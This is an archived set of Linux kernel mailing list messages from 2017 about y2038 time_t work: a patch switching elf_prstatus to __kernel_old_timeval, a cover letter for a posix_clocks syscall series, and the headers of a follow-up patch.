Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 27 18:03:14 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eJMoK-0003jX-Fl
	for glk-linux-kernel-3@m.gmane.org; Mon, 27 Nov 2017 18:03:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753887AbdK0RDP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 27 Nov 2017 12:03:15 -0500
Original-Received: from mout.kundenserver.de ([217.72.192.75]:57889 "EHLO
        mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753024AbdK0RDL (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 27 Nov 2017 12:03:11 -0500
Original-Received: from wuerfel.lan ([109.193.157.232]) by mrelayeu.kundenserver.de
 (mreue105 [212.227.15.145]) with ESMTPA (Nemesis) id
 0MWjXP-1edz0n0oqR-00Xwgr; Mon, 27 Nov 2017 18:02:46 +0100
X-Mailer: git-send-email 2.9.0
In-Reply-To: <20171127170121.634826-1-arnd@arndb.de>
X-Provags-ID: V03:K0:rpEDa9aUmmfvYKqaSMaHQ23NvD93GuXx5hKnCwcIpI23kBVnIR5
 +o8BM4pjhYnGJMJWsoyqajQsO1ocI2pR1n7dTqmhqwtCgJL4Rxzc+ONJhSra0R0gn0LR9hU
 zZ1Nl80/JJLz3a3/vvso6J7wvuNA4ksZE+R3n98xPbZgm0PH3l9uOlnNOvznf9+2B35fcWB
 VPX8w5GmjaK06+cGnk7Yg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:qH/KOm9gvzw=:QYo8qV/MTbJZln0IAvo1c6
 FdzDJEcoXMviuW6oEo9Pp97Jlo8B9LXjjf/ETBLMjo7DgUdTZzzJFRDWpm8Xl7lx7FH/CquJR
 451MtsTlsSWobjvk7xsu8UzevFmZGO6pSiKeaRcECUEEwiiIIBqufZE9D/xRKIiFzHXDpWEPY
 nWOKxulexjHZL4WhxYzskVRMb5T8qMLAGeTXCWtZQOMRQ9I18XY6+VDhD5SFGSOj3I/7i58x8
 eeH6Y27M+xwB5ZBZmP9cCDOktHFMMkdSdz0XlwVBrHk3V0rfFPcObp1Esbib6tPW9eDU+qta3
 8uyhoS+y46b2LBDzqXR9B9gM5eSJAcEeBxZrG9WuO9SxlX0pX5qG+l4fGWOXlMR2AMjoCDb5n
 bmr5cwErEbaymcfxCbvywcQAk35c+ehqpSROsULaqoU8QNvqgZ1lv6e9epnTqhApPdiqBt2cB
 fXVpLD8afRGC8IQGZlcum/3CzO2u9AntpvXN7cu2n/suQYHeYAsFIDOVQlQT29NDKV9edl7NE
 wui5OI/3Z22sFfWMpPOQLZXpvmxV7ThaetlzYkCxKdqz3AuxAACI/lc3ge43xj4v6DCp4sTnR
 aTppKaAcZgA5qj7t3TGBsLKC5q/87uUKCFMEbcGjYtJC0RSoM0U3nLMD4vyuGDBEcPMrrVrgZ
 P7knRxZsN0qZCmDCCQ5HUeyFkNNSS3lOb7TT7B5nngCA3SEsTjMA7pyALt+i/yaTajSLoiATX
 weQysAZTnf2uA94nQc19aIq6DPAtnEnlkNPejw==
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2626114 gmane.linux.kernel.year-2038:2348 gmane.comp.lib.glibc.alpha:79921 gmane.linux.kernel.cross-arch:40295 gmane.linux.kernel.api:25973 gmane.linux.ports.mips.general:62328 gmane.linux.ports.parisc:28014 gmane.linux.file-systems:129540
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2626114>

We store elapsed time for a crashed process in struct elf_prstatus using
'timeval' structures. Once glibc starts using 64-bit time_t, this becomes
incompatible with the kernel's idea of timeval since the structure layout
no longer matches on 32-bit architectures.

This changes the definition of the elf_prstatus structure to use
__kernel_old_timeval instead, which is hardcoded to the currently used
binary layout. There is no risk of overflow in y2038 though, because
the time values are all relative times, and can store up to 68 years
of process elapsed time.

There is a risk of applications breaking at build time when they
use the new kernel headers and expect the type to be exactly 'timeval'
rather than a structure that has the same fields as before. Those
applications have to be modified to deal with 64-bit time_t anyway.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/mips/kernel/binfmt_elfn32.c  |  4 ++--
 arch/mips/kernel/binfmt_elfo32.c  |  4 ++--
 arch/parisc/kernel/binfmt_elf32.c |  4 ++--
 fs/binfmt_elf.c                   | 12 ++++++------
 fs/binfmt_elf_fdpic.c             | 12 ++++++------
 fs/compat_binfmt_elf.c            |  4 ++--
 include/uapi/linux/elfcore.h      |  8 ++++----
 7 files changed, 24 insertions(+), 24 deletions(-)

diff --git a/arch/mips/kernel/binfmt_elfn32.c b/arch/mips/kernel/binfmt_elfn32.c
index 89b234844534..2fe2d5573289 100644
--- a/arch/mips/kernel/binfmt_elfn32.c
+++ b/arch/mips/kernel/binfmt_elfn32.c
@@ -100,7 +100,7 @@ jiffies_to_compat_timeval(unsigned long jiffies, struct compat_timeval *value)
 #undef TASK_SIZE
 #define TASK_SIZE TASK_SIZE32
 
-#undef ns_to_timeval
-#define ns_to_timeval ns_to_compat_timeval
+#undef ns_to_kernel_old_timeval
+#define ns_to_kernel_old_timeval ns_to_compat_timeval
 
 #include "../../../fs/binfmt_elf.c"
diff --git a/arch/mips/kernel/binfmt_elfo32.c b/arch/mips/kernel/binfmt_elfo32.c
index a88c59db3d48..d3c37583ef91 100644
--- a/arch/mips/kernel/binfmt_elfo32.c
+++ b/arch/mips/kernel/binfmt_elfo32.c
@@ -103,7 +103,7 @@ jiffies_to_compat_timeval(unsigned long jiffies, struct compat_timeval *value)
 #undef TASK_SIZE
 #define TASK_SIZE TASK_SIZE32
 
-#undef ns_to_timeval
-#define ns_to_timeval ns_to_compat_timeval
+#undef ns_to_kernel_old_timeval
+#define ns_to_kernel_old_timeval ns_to_compat_timeval
 
 #include "../../../fs/binfmt_elf.c"
diff --git a/arch/parisc/kernel/binfmt_elf32.c b/arch/parisc/kernel/binfmt_elf32.c
index 20dfa081ed0b..ad3ea00c64f7 100644
--- a/arch/parisc/kernel/binfmt_elf32.c
+++ b/arch/parisc/kernel/binfmt_elf32.c
@@ -92,7 +92,7 @@ struct elf_prpsinfo32
 	current->thread.map_base = DEFAULT_MAP_BASE32; \
 	current->thread.task_size = DEFAULT_TASK_SIZE32 \
 
-#undef ns_to_timeval
-#define ns_to_timeval ns_to_compat_timeval
+#undef ns_to_kernel_old_timeval
+#define ns_to_kernel_old_timeval ns_to_compat_timeval
 
 #include "../../../fs/binfmt_elf.c"
diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c
index 83732fef510d..7ae716db7d99 100644
--- a/fs/binfmt_elf.c
+++ b/fs/binfmt_elf.c
@@ -1500,18 +1500,18 @@ static void fill_prstatus(struct elf_prstatus *prstatus,
 		 * group-wide total, not its individual thread total.
 		 */
 		thread_group_cputime(p, &cputime);
-		prstatus->pr_utime = ns_to_timeval(cputime.utime);
-		prstatus->pr_stime = ns_to_timeval(cputime.stime);
+		prstatus->pr_utime = ns_to_kernel_old_timeval(cputime.utime);
+		prstatus->pr_stime = ns_to_kernel_old_timeval(cputime.stime);
 	} else {
 		u64 utime, stime;
 
 		task_cputime(p, &utime, &stime);
-		prstatus->pr_utime = ns_to_timeval(utime);
-		prstatus->pr_stime = ns_to_timeval(stime);
+		prstatus->pr_utime = ns_to_kernel_old_timeval(utime);
+		prstatus->pr_stime = ns_to_kernel_old_timeval(stime);
 	}
 
-	prstatus->pr_cutime = ns_to_timeval(p->signal->cutime);
-	prstatus->pr_cstime = ns_to_timeval(p->signal->cstime);
+	prstatus->pr_cutime = ns_to_kernel_old_timeval(p->signal->cutime);
+	prstatus->pr_cstime = ns_to_kernel_old_timeval(p->signal->cstime);
 }
 
 static int fill_psinfo(struct elf_prpsinfo *psinfo, struct task_struct *p,
diff --git a/fs/binfmt_elf_fdpic.c b/fs/binfmt_elf_fdpic.c
index 429326b6e2e7..89717459224b 100644
--- a/fs/binfmt_elf_fdpic.c
+++ b/fs/binfmt_elf_fdpic.c
@@ -1362,17 +1362,17 @@ static void fill_prstatus(struct elf_prstatus *prstatus,
 		 * group-wide total, not its individual thread total.
 		 */
 		thread_group_cputime(p, &cputime);
-		prstatus->pr_utime = ns_to_timeval(cputime.utime);
-		prstatus->pr_stime = ns_to_timeval(cputime.stime);
+		prstatus->pr_utime = ns_to_kernel_old_timeval(cputime.utime);
+		prstatus->pr_stime = ns_to_kernel_old_timeval(cputime.stime);
 	} else {
 		u64 utime, stime;
 
 		task_cputime(p, &utime, &stime);
-		prstatus->pr_utime = ns_to_timeval(utime);
-		prstatus->pr_stime = ns_to_timeval(stime);
+		prstatus->pr_utime = ns_to_kernel_old_timeval(utime);
+		prstatus->pr_stime = ns_to_kernel_old_timeval(stime);
 	}
-	prstatus->pr_cutime = ns_to_timeval(p->signal->cutime);
-	prstatus->pr_cstime = ns_to_timeval(p->signal->cstime);
+	prstatus->pr_cutime = ns_to_kernel_old_timeval(p->signal->cutime);
+	prstatus->pr_cstime = ns_to_kernel_old_timeval(p->signal->cstime);
 
 	prstatus->pr_exec_fdpic_loadmap = p->mm->context.exec_fdpic_loadmap;
 	prstatus->pr_interp_fdpic_loadmap = p->mm->context.interp_fdpic_loadmap;
diff --git a/fs/compat_binfmt_elf.c b/fs/compat_binfmt_elf.c
index 504b3c3539dc..5df608af1306 100644
--- a/fs/compat_binfmt_elf.c
+++ b/fs/compat_binfmt_elf.c
@@ -51,8 +51,8 @@
 #define elf_prstatus	compat_elf_prstatus
 #define elf_prpsinfo	compat_elf_prpsinfo
 
-#undef ns_to_timeval
-#define ns_to_timeval ns_to_compat_timeval
+#undef ns_to_kernel_old_timeval
+#define ns_to_kernel_old_timeval ns_to_compat_timeval
 
 /*
  * To use this file, asm/elf.h must define compat_elf_check_arch.
diff --git a/include/uapi/linux/elfcore.h b/include/uapi/linux/elfcore.h
index 0b2c9e16e345..baf03562306d 100644
--- a/include/uapi/linux/elfcore.h
+++ b/include/uapi/linux/elfcore.h
@@ -53,10 +53,10 @@ struct elf_prstatus
 	pid_t	pr_ppid;
 	pid_t	pr_pgrp;
 	pid_t	pr_sid;
-	struct timeval pr_utime;	/* User time */
-	struct timeval pr_stime;	/* System time */
-	struct timeval pr_cutime;	/* Cumulative user time */
-	struct timeval pr_cstime;	/* Cumulative system time */
+	struct __kernel_old_timeval pr_utime;	/* User time */
+	struct __kernel_old_timeval pr_stime;	/* System time */
+	struct __kernel_old_timeval pr_cutime;	/* Cumulative user time */
+	struct __kernel_old_timeval pr_cstime;	/* Cumulative system time */
 #if 0
 	long	pr_instr;		/* Current instruction */
 #endif
-- 
2.9.0



From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: [PATCH v2 00/10] posix_clocks: Prepare syscalls for 64 bit time_t conversion
Date: Mon, 27 Nov 2017 11:30:27 -0800
Lines: 153
Approved: news@gmane.org
Message-ID: <20171127193037.8711-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1511811102 17703 195.159.176.226 (27 Nov 2017 19:31:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 19:31:42 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, catalin.marinas@arm.com,
        cmetcalf@mellanox.com, cohuck@redhat.com, davem@davemloft.net,
        deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-api@vger.kernel.org, linux-arch@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
To: tglx@linutronix.de, john.stultz@linaro.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 27 20:31:30 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eJP7l-0003in-MA
	for glk-linux-kernel-3@m.gmane.org; Mon, 27 Nov 2017 20:31:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753410AbdK0Tb3 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 27 Nov 2017 14:31:29 -0500
Original-Received: from mail-qk0-f194.google.com ([209.85.220.194]:46522 "EHLO
        mail-qk0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752763AbdK0TbZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 27 Nov 2017 14:31:25 -0500
Original-Received: by mail-qk0-f194.google.com with SMTP id b85so33958568qkc.13;
        Mon, 27 Nov 2017 11:31:24 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=pebuQaNk/rDYOuzDl26+WSl7yIPVmUxuxMDIWyNvAPI=;
        b=Xvr88uLO1DDk1ts/nX5pt92s8HmDhKd7569g4Ai/lolpCxV8igbRKMYAVIPe9x8sFo
         7E4lq/iOExufWkx27BjvTssFSQi6o+bem4etswcZ4rQ2Ymimd6/Nzq1ZA4chqJACEP4w
         S3MvXSQUsvpcPhG28FvAMLM+3e7Rva7tzcHb6I/YkS7UbiWNXHLCJ/glNOXmPE/+fpu5
         PN7IeNS7jk38sw/OP+BJyM38JpDocxSQ8VUiojJ80ukYmLm0VOjhRQDz6HLs3OJsDio3
         suK18RoRsuGd/ixfXnVks1abHBGLwPM7uE9bn5eDd6ahMbOUB9IMcGP75btheFQi0slf
         C9eQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=pebuQaNk/rDYOuzDl26+WSl7yIPVmUxuxMDIWyNvAPI=;
        b=miS1ESsbA4DcalFDd9ajgsVQNgAP8yc1crLfhNNjfhNKOlQx1EUjTWe7/h9XyTsY20
         aeXvCgL+nqLS8eFHFq/9Ol4UQ7b7+foh46R1HjFa7B5QUwVLLCKN5ZVHMXub4eKYR4mX
         M7VlG6/nawNAslFvrDulCRnRzriL5+jYxj8U+SD7kan9mGDporiMuNHytynuAJioM356
         gMo/5F2lyMzAy/T2MDGlxMay55ieeJ6YFfv36NluwqZ0tKp6GcC99qBLjKqJnNMrRkyo
         LmA+9aH/lRxYZC8Sp0kmidehNOglfpD0AL/zEVgpF75YGZMJVyS4zWRnZzt0qBHx1hoz
         tRtg==
X-Gm-Message-State: AJaThX4gAPLKE7DWvnYHvI0W6nF9WnhbT8F7UoytFNzQB0VC450G1eoG
        HzsGFy6l4WwyQofaOEV2cEo=
X-Google-Smtp-Source: AGs4zMaHkAYWaJOcrKyUs/MGF2byAEseZBgR+4AIkYeeVHQE87m4SqdjygD6hYI0U4v20hBxZFJMcg==
X-Received: by 10.55.20.165 with SMTP id 37mr57638819qku.66.1511811084143;
        Mon, 27 Nov 2017 11:31:24 -0800 (PST)
Original-Received: from deepa-ubuntu.hsd1.ca.comcast.net ([2601:647:5000:6620:c989:f9fb:4217:7274])
        by smtp.gmail.com with ESMTPSA id s1sm1400151qts.29.2017.11.27.11.31.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 27 Nov 2017 11:31:23 -0800 (PST)
X-Mailer: git-send-email 2.14.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2626312 gmane.linux.kernel.year-2038:2353 gmane.linux.kernel.api:25983 gmane.linux.kernel.cross-arch:40302 gmane.linux.ports.mips.general:62332 gmane.linux.ports.parisc:28015 gmane.linux.ports.ppc64.devel:150595 gmane.linux.oprofile:13114 gmane.linux.ports.sparc:26922
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2626312>

The series is a preparation series for individual architectures
to use 64 bit time_t syscalls in compat and 32 bit emulation modes.

This is a follow up to the series Arnd Bergmann posted:
https://sourceware.org/ml/libc-alpha/2015-05/msg00070.html [1]

Big picture is as per the lwn article:
https://lwn.net/Articles/643234/ [2]

The series is directed at converting posix clock syscalls:
clock_gettime, clock_settime, clock_getres and clock_nanosleep
to use a new data structure __kernel_timespec at syscall boundaries.
__kernel_timespec maintains 64 bit time_t across all execution modes.

vdso will be handled as part of each architecture when they enable
support for 64 bit time_t.

The compat syscalls are repurposed to provide backward compatibility
by using them as native syscalls as well for 32 bit architectures.
They will continue to use timespec at syscall boundaries.

CONFIG_64_BIT_TIME controls whether the syscalls use __kernel_timespec
or timespec at syscall boundaries.

The series does the following:
1. Enable compat syscalls on 32 bit architectures.
2. Add a new __kernel_timespec type to be used as the data structure
   for all the new syscalls.
3. Add new config CONFIG_64BIT_TIME(intead of the CONFIG_COMPAT_TIME in
   [1] and [2] to switch to new definition of __kernel_timespec. It is
   the same as struct timespec otherwise.
4. Add new CONFIG_32BIT_TIME to conditionally compile compat syscalls.

* Changes since v1:
 * Introduce CONFIG_32BIT_TIME
 * Fixed zeroing out of higher order bits of tv_nsec
 * Included Arnd's changes to fix up use of compat headers

I decided against using LEGACY_TIME_SYSCALLS to conditionally compile
legacy time syscalls such as sys_nanosleep because this will need to
enclose compat_sys_nanosleep as well. So, defining it as 

config LEGACY_TIME_SYSCALLS
     def_bool 64BIT || !64BIT_TIME

will not include compat_sys_nanosleep. We will instead need a new config to
exclusively mark legacy syscalls.

Deepa Dinamani (10):
  compat: Make compat helpers independent of CONFIG_COMPAT
  include: Move compat_timespec/ timeval to compat_time.h
  compat: enable compat_get/put_timespec64 always
  arch: introduce CONFIG_64BIT_TIME
  arch: Introduce CONFIG_COMPAT_32BIT_TIME
  posix-clocks: Make compat syscalls depend on CONFIG_COMPAT_32BIT_TIME
  include: Add new y2038 safe __kernel_timespec
  fix get_timespec64() for y2038 safe compat interfaces
  change time types to new y2038 safe __kernel_* types
  nanosleep: change time types to safe __kernel_* types

 arch/Kconfig                           | 18 +++++++
 arch/arm64/include/asm/compat.h        | 11 ----
 arch/arm64/include/asm/stat.h          |  1 +
 arch/arm64/kernel/hw_breakpoint.c      |  1 -
 arch/arm64/kernel/perf_regs.c          |  2 +-
 arch/arm64/kernel/process.c            |  1 -
 arch/mips/include/asm/compat.h         | 11 ----
 arch/mips/kernel/signal32.c            |  2 +-
 arch/parisc/include/asm/compat.h       | 11 ----
 arch/powerpc/include/asm/compat.h      | 11 ----
 arch/powerpc/kernel/asm-offsets.c      |  2 +-
 arch/powerpc/oprofile/backtrace.c      |  2 +-
 arch/s390/hypfs/hypfs_sprp.c           |  1 -
 arch/s390/include/asm/compat.h         | 11 ----
 arch/s390/include/asm/elf.h            |  3 +-
 arch/s390/kvm/priv.c                   |  1 -
 arch/s390/pci/pci_clp.c                |  1 -
 arch/sparc/include/asm/compat.h        | 11 ----
 arch/tile/include/asm/compat.h         | 11 ----
 arch/x86/events/core.c                 |  2 +-
 arch/x86/include/asm/compat.h          | 11 ----
 arch/x86/include/asm/ftrace.h          |  2 +-
 arch/x86/include/asm/sys_ia32.h        |  2 +-
 arch/x86/kernel/sys_x86_64.c           |  2 +-
 drivers/s390/block/dasd_ioctl.c        |  1 -
 drivers/s390/char/fs3270.c             |  1 -
 drivers/s390/char/sclp_ctl.c           |  1 -
 drivers/s390/char/vmcp.c               |  1 -
 drivers/s390/cio/chsc_sch.c            |  1 -
 drivers/s390/net/qeth_core_main.c      |  2 +-
 drivers/staging/pi433/pi433_if.c       |  2 +-
 include/linux/compat.h                 | 11 ++--
 include/linux/compat_time.h            | 23 +++++++++
 include/linux/restart_block.h          |  7 +--
 include/linux/syscalls.h               | 12 ++---
 include/linux/time.h                   |  4 +-
 include/linux/time64.h                 | 10 +++-
 include/uapi/asm-generic/posix_types.h |  1 +
 include/uapi/linux/time.h              |  7 +++
 kernel/Makefile                        |  2 +-
 kernel/compat.c                        | 92 ++++++++++++++++++----------------
 kernel/time/hrtimer.c                  | 10 ++--
 kernel/time/posix-stubs.c              | 12 +++--
 kernel/time/posix-timers.c             | 24 ++++++---
 kernel/time/time.c                     | 10 +++-
 45 files changed, 175 insertions(+), 190 deletions(-)
 create mode 100644 include/linux/compat_time.h

base-commit: b0a84f19a5161418d4360cd57603e94ed489915e
-- 
2.14.1

Cc: acme@kernel.org
Cc: benh@kernel.crashing.org
Cc: borntraeger@de.ibm.com
Cc: catalin.marinas@arm.com
Cc: cmetcalf@mellanox.com
Cc: cohuck@redhat.com
Cc: davem@davemloft.net
Cc: deller@gmx.de
Cc: devel@driverdev.osuosl.org
Cc: gerald.schaefer@de.ibm.com
Cc: gregkh@linuxfoundation.org
Cc: heiko.carstens@de.ibm.com
Cc: hoeppner@linux.vnet.ibm.com
Cc: hpa@zytor.com
Cc: jejb@parisc-linux.org
Cc: jwi@linux.vnet.ibm.com
Cc: linux-api@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: mark.rutland@arm.com
Cc: mingo@redhat.com
Cc: mpe@ellerman.id.au
Cc: oberpar@linux.vnet.ibm.com
Cc: oprofile-list@lists.sf.net
Cc: paulus@samba.org
Cc: peterz@infradead.org
Cc: ralf@linux-mips.org
Cc: rostedt@goodmis.org
Cc: rric@kernel.org
Cc: schwidefsky@de.ibm.com
Cc: sebott@linux.vnet.ibm.com
Cc: sparclinux@vger.kernel.org
Cc: sth@linux.vnet.ibm.com
Cc: ubraun@linux.vnet.ibm.com
Cc: will.deacon@arm.com
Cc: x86@kernel.org


From - Thu Nov 08 21:40:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Deepa Dinamani <deepa.kernel@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.year-2038,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.oprofile,gmane.linux.ports.sparc
Subject: [PATCH v2 02/10] include: Move compat_timespec/ timeval to compat_time.h
Date: Mon, 27 Nov 2017 11:30:29 -0800
Lines: 649
Approved: news@gmane.org
Message-ID: <20171127193037.8711-3-deepa.kernel@gmail.com>
References: <20171127193037.8711-1-deepa.kernel@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1511811111 19745 195.159.176.226 (27 Nov 2017 19:31:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 27 Nov 2017 19:31:51 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, arnd@arndb.de,
        y2038@lists.linaro.org, acme@kernel.org, benh@kernel.crashing.org,
        borntraeger@de.ibm.com, catalin.marinas@arm.com,
        cmetcalf@mellanox.com, cohuck@redhat.com, davem@davemloft.net,
        deller@gmx.de, devel@driverdev.osuosl.org,
        gerald.schaefer@de.ibm.com, gregkh@linuxfoundation.org,
        heiko.carstens@de.ibm.com, hoeppner@linux.vnet.ibm.com,
        hpa@zytor.com, jejb@parisc-linux.org, jwi@linux.vnet.ibm.com,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        mark.rutland@arm.com, mingo@redhat.com, mpe@ellerman.id.au,
        oberpar@linux.vnet.ibm.com, oprofile-list@lists.sf.net,
        paulus@samba.org, peterz@infradead.org, ralf@linux-mips.org,
        rostedt@goodmis.org, rric@kernel.org, schwidefsky@de.ibm.c
To: tglx@linutronix.de, john.stultz@linaro.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Nov 27 20:31:42 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eJP81-0004WV-3J
	for glk-linux-kernel-3@m.gmane.org; Mon, 27 Nov 2017 20:31:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753518AbdK0Tbo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Mon, 27 Nov 2017 14:31:44 -0500
Original-Received: from mail-qk0-f196.google.com ([209.85.220.196]:38176 "EHLO
        mail-qk0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752734AbdK0Tbk (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 27 Nov 2017 14:31:40 -0500
Original-Received: by mail-qk0-f196.google.com with SMTP id a142so33969003qkb.5;
        Mon, 27 Nov 2017 11:31:39 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=sIhZn+zKYpwy5GyyTYlPrZOmZeKQCcv1rHiEVmapG5c=;
        b=JDBJzwJuQWTUNMMVp+vt6znZyBA1P1jOkG+B8MmbwQgVqEvo/282yoj5ZcxmTiUGG5
         MAPQNWe9Uat9XrL8z/V5ibqUinemSQCPMMQywdMHDoQdsyG8espL3CQ2x/CrxDe+mDz+
         lidJT+g0ZqOzs+pcaOdnUvWN8M5GJYNj1IzAxjxYFo4pKpODRt/+p6wp7qeXCuuqbGPE
         jddsjutFNWjImWL3dKkkiyQFZJOaGX3wdOFhilufFkGvN/jEmZPERv5OkjNn0/DekrIv
         Hxj7xY1d3reL6yjavzPxEoUucbC6SDY6ZXdqXBRtR49YM5hHDBv7WxMEYxxAkcqrPF6W
         QHww==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=sIhZn+zKYpwy5GyyTYlPrZOmZeKQCcv1rHiEVmapG5c=;
        b=ZNA3LgEOSNomlej1//iQSKWCuS8Yar+PZxBwBgH8KEkRvxxJwJoC0etYcsKPVw2WwJ
         KOM4UTOJY3rkE5ThrNcbYKzpFGldvVvxRbe1vKBmJ+7lyrG/L1ScaFYzE79f45a8P7Cn
         qK0Qsgm0urofUiFqnqBHVll1JGqNOyphrnVhYtdrlJHBVJvy7qm+wEpZOhaTeoeYlX5y
         ZRZznEI2dA1UkqdYj8TjMRP6LaTALLHK2viK1eiDNJt8XW35Jn21Uj+Nq5Mtu1IUtP0A
         E8v2y+rnix5FEZt3dHjyAbIUEZfQXIOxKxva4CPSPpnF56xNtOXdin1L0K1VHV5rqgBP
         lEPg==
X-Gm-Message-State: AJaThX7UBl4ukbR3jv41jl1r8HgUnNLper/koa37b9J6QMIlMTovzjCw
        6C+hRSyq6yE9sohZwxbDKFA=
X-Google-Smtp-Source: AGs4zMaSvCrUCy16vwae1z4URnohJrbo+55Ak9gHMSIdq4hz2r3doW0sq8eisYXyrImyQG0GnQX+TQ==
X-Received: by 10.55.90.4 with SMTP id o4mr46533153qkb.296.1511811099302;
        Mon, 27 Nov 2017 11:31:39 -0800 (PST)
Original-Received: from deepa-ubuntu.hsd1.ca.comcast.net ([2601:647:5000:6620:c989:f9fb:4217:7274])
        by smtp.gmail.com with ESMTPSA id s1sm1400151qts.29.2017.11.27.11.31.34
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 27 Nov 2017 11:31:38 -0800 (PST)
X-Mailer: git-send-email 2.14.1
In-Reply-To: <20171127193037.8711-1-deepa.kernel@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
